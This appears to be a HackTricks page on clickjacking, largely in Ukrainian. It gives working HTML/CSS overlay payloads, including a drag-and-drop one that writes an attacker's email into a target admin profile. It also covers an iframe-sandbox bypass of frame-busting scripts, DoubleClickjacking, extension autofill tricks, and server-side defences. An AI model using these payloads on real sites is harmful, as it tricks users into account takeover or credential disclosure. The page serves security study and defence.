Clickjacking
Reading time: 8 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
What is Clickjacking
У атаці Clickjacking користувача обманом змушують натиснути на елемент на веб-сторінці, який або невидимий, або маскується під інший елемент. Така маніпуляція може призвести до небажаних наслідків для користувача, таких як завантаження malware, перенаправлення на шкідливі веб-сторінки, надання облікових даних або конфіденційної інформації, перекази грошей або онлайн-купівля товарів.
Prepopulate forms trick
Іноді можливо заповнити значення полів форми, використовуючи GET-параметри при завантаженні сторінки. Атакуючий може зловживати цією поведінкою, щоб заповнити форму довільними даними та доставити clickjacking payload, щоб користувач натиснув кнопку Submit.
Populate form with Drag&Drop
Якщо вам потрібно, щоб користувач заповнив форму, але ви не хочете прямо просити його ввести конкретну інформацію (наприклад email чи певний пароль, який ви знаєте), ви можете просто попросити його Drag&Drop дещо, що запише ваші контрольовані дані, як у this example.
Basic Payload
<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
Багатокроковий Payload
<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>
Drag&Drop + Click payload
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>
XSS + Clickjacking
Якщо ви виявили XSS attack that requires a user to click на якийсь елемент, щоб trigger XSS, і сторінка vulnerable to clickjacking, це можна використати, щоб обманом змусити користувача натиснути кнопку/посилання.
Приклад:
Ви знайшли self XSS в деяких приватних даних акаунта (деталі, які only you can set and read). Сторінка з form, щоб задати ці деталі, vulnerable до Clickjacking і ви можете prepopulate цю form через GET параметри.
Атакувальник може підготувати Clickjacking атаку на цю сторінку, prepopulating form XSS payload і tricking user щоб Submit форму. Тож, when the form is submitted і значення будуть змінені, user will execute the XSS.
DoubleClickjacking
По-перше explained in this post, ця техніка просить жертву зробити подвійне клацання на кнопці кастомної сторінки, розташованої в певному місці, і використовує різницю в часі між mousedown та onclick подіями, щоб під час подвійного кліку завантажити сторінку жертви так, що victim actually clicks a legit button in the victim page.
Приклад можна побачити в цьому відео: https://www.youtube.com/watch?v=4rGvRRMrD18
Приклад коду можна знайти на this page.
warning
Ця техніка дозволяє обманом змусити користувача клікнути в 1 місці на сторінці жертви, обминаючи будь-який захист проти clickjacking. Тому атакувальнику потрібно знайти sensitive actions that can be done with just 1 click, like OAuth prompts accepting permissions.
Розширення браузера: DOM-based autofill clickjacking
Окрім iframing сторінок жертви, атакувальники можуть націлюватися на UI-елементи browser extension, які інжектяться в сторінку. Password managers відображають autofill dropdowns поруч з фокусованими inputs; фокусуючи поле під контролем зловмисника і ховаючи/закриваючи dropdown розширення (tricks з opacity/overlay/top-layer), змушений клік користувача може обрати збережений елемент і заповнити конфіденційні дані в inputs під контролем зловмисника. Цей варіант не потребує exposure через iframe і працює повністю через DOM/CSS маніпуляції.
- For concrete techniques and PoCs see:
Стратегії захисту від Clickjacking
Захист на стороні клієнта
Скрипти, що виконуються на клієнтській стороні, можуть виконувати дії для запобігання Clickjacking:
- Перевіряти, що вікно додатку є main або top window.
- Робити всі frames видимими.
- Запобігати клікам по невидимих frames.
- Виявляти і попереджати користувачів про потенційні спроби Clickjacking.
Однак ці frame-busting скрипти можуть бути обійдені:
- Browsers' Security Settings: Деякі браузери можуть блокувати ці скрипти залежно від налаштувань безпеки або відсутності підтримки JavaScript.
- HTML5 iframe sandbox Attribute: Зловмисник може нейтралізувати frame buster скрипти, встановивши sandbox attribute з allow-forms або allow-scripts значеннями без allow-top-navigation. Це перешкоджає iframe перевіряти, чи він є top window, наприклад,
<iframe
id="victim_website"
src="https://victim-website.com"
sandbox="allow-forms allow-scripts"></iframe>
Значення allow-forms та allow-scripts дозволяють виконувати дії всередині iframe, одночасно блокуючи навігацію на верхньому рівні. Щоб забезпечити потрібну функціональність цільового сайту, можуть знадобитися додаткові дозволи, такі як allow-same-origin та allow-modals, залежно від типу атаки. Повідомлення в консолі браузера підкажуть, які дозволи слід включити.
Server-Side Defenses
X-Frame-Options
The X-Frame-Options HTTP response header інформує браузери про легітимність рендерингу сторінки в або
- X-Frame-Options: deny - Жоден домен не може фреймити вміст.
- X-Frame-Options: sameorigin - Лише поточний сайт може фреймити вміст.
- X-Frame-Options: allow-from https://trusted.com - Лише вказаний 'uri' може фреймити сторінку.
- Зверніть увагу на обмеження: якщо браузер не підтримує цю директиву, вона може не працювати. Деякі браузери віддають перевагу директиві CSP frame-ancestors.
Content Security Policy (CSP) frame-ancestors directive
frame-ancestors directive in CSP є рекомендованим методом захисту від Clickjacking:
- frame-ancestors 'none' - Аналогічно до X-Frame-Options: deny.
- frame-ancestors 'self' - Аналогічно до X-Frame-Options: sameorigin.
- frame-ancestors trusted.com - Аналогічно до X-Frame-Options: allow-from.
Наприклад, наступний CSP дозволяє фреймити лише з того ж домену:
Content-Security-Policy: frame-ancestors 'self';
Further details and complex examples can be found in the frame-ancestors CSP documentation and Mozilla's CSP frame-ancestors documentation.
Content Security Policy (CSP) with child-src and frame-src
Content Security Policy (CSP) — це міра безпеки, яка допомагає запобігати Clickjacking та іншим атакам шляхом ін’єкції коду, вказуючи, з яких джерел браузер має дозвіл завантажувати контент.
frame-src Directive
- Визначає валідні джерела для фреймів.
- Більш специфічна, ніж директива default-src.
Content-Security-Policy: frame-src 'self' https://trusted-website.com;
Ця політика дозволяє фрейми з того ж походження (self) та https://trusted-website.com.
child-src директива
- Запроваджена в CSP рівня 2 для встановлення допустимих джерел для web workers і фреймів.
- Виконує роль запасного варіанта для frame-src та worker-src.
Content-Security-Policy: child-src 'self' https://trusted-website.com;
Ця політика дозволяє frames і workers з того ж джерела (self) та https://trusted-website.com.
Примітки щодо використання:
- Застаріває: child-src поступово витісняється на користь frame-src та worker-src.
- Поведінка запасного механізму: Якщо frame-src відсутній, child-src використовується як запасний варіант для фреймів. Якщо обидва відсутні, застосовується default-src.
- Жорстке визначення джерел: Включайте лише надійні джерела в директиви, щоб запобігти експлуатації.
JavaScript Frame-Breaking Scripts
Хоча вони не є повністю бездоганними, JavaScript-based frame-busting скрипти можна використовувати, щоб запобігти вбудовуванню веб-сторінки у фрейм. Приклад:
if (top !== self) {
top.location = self.location
}
Використання Anti-CSRF Tokens
- Перевірка токена: Використовуйте anti-CSRF tokens у вебдодатках, щоб гарантувати, що запити, які змінюють стан, виконуються свідомо користувачем, а не через Clickjacked page.
Посилання
- https://portswigger.net/web-security/clickjacking
- https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html
- DOM-based Extension Clickjacking (marektoth.com)
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.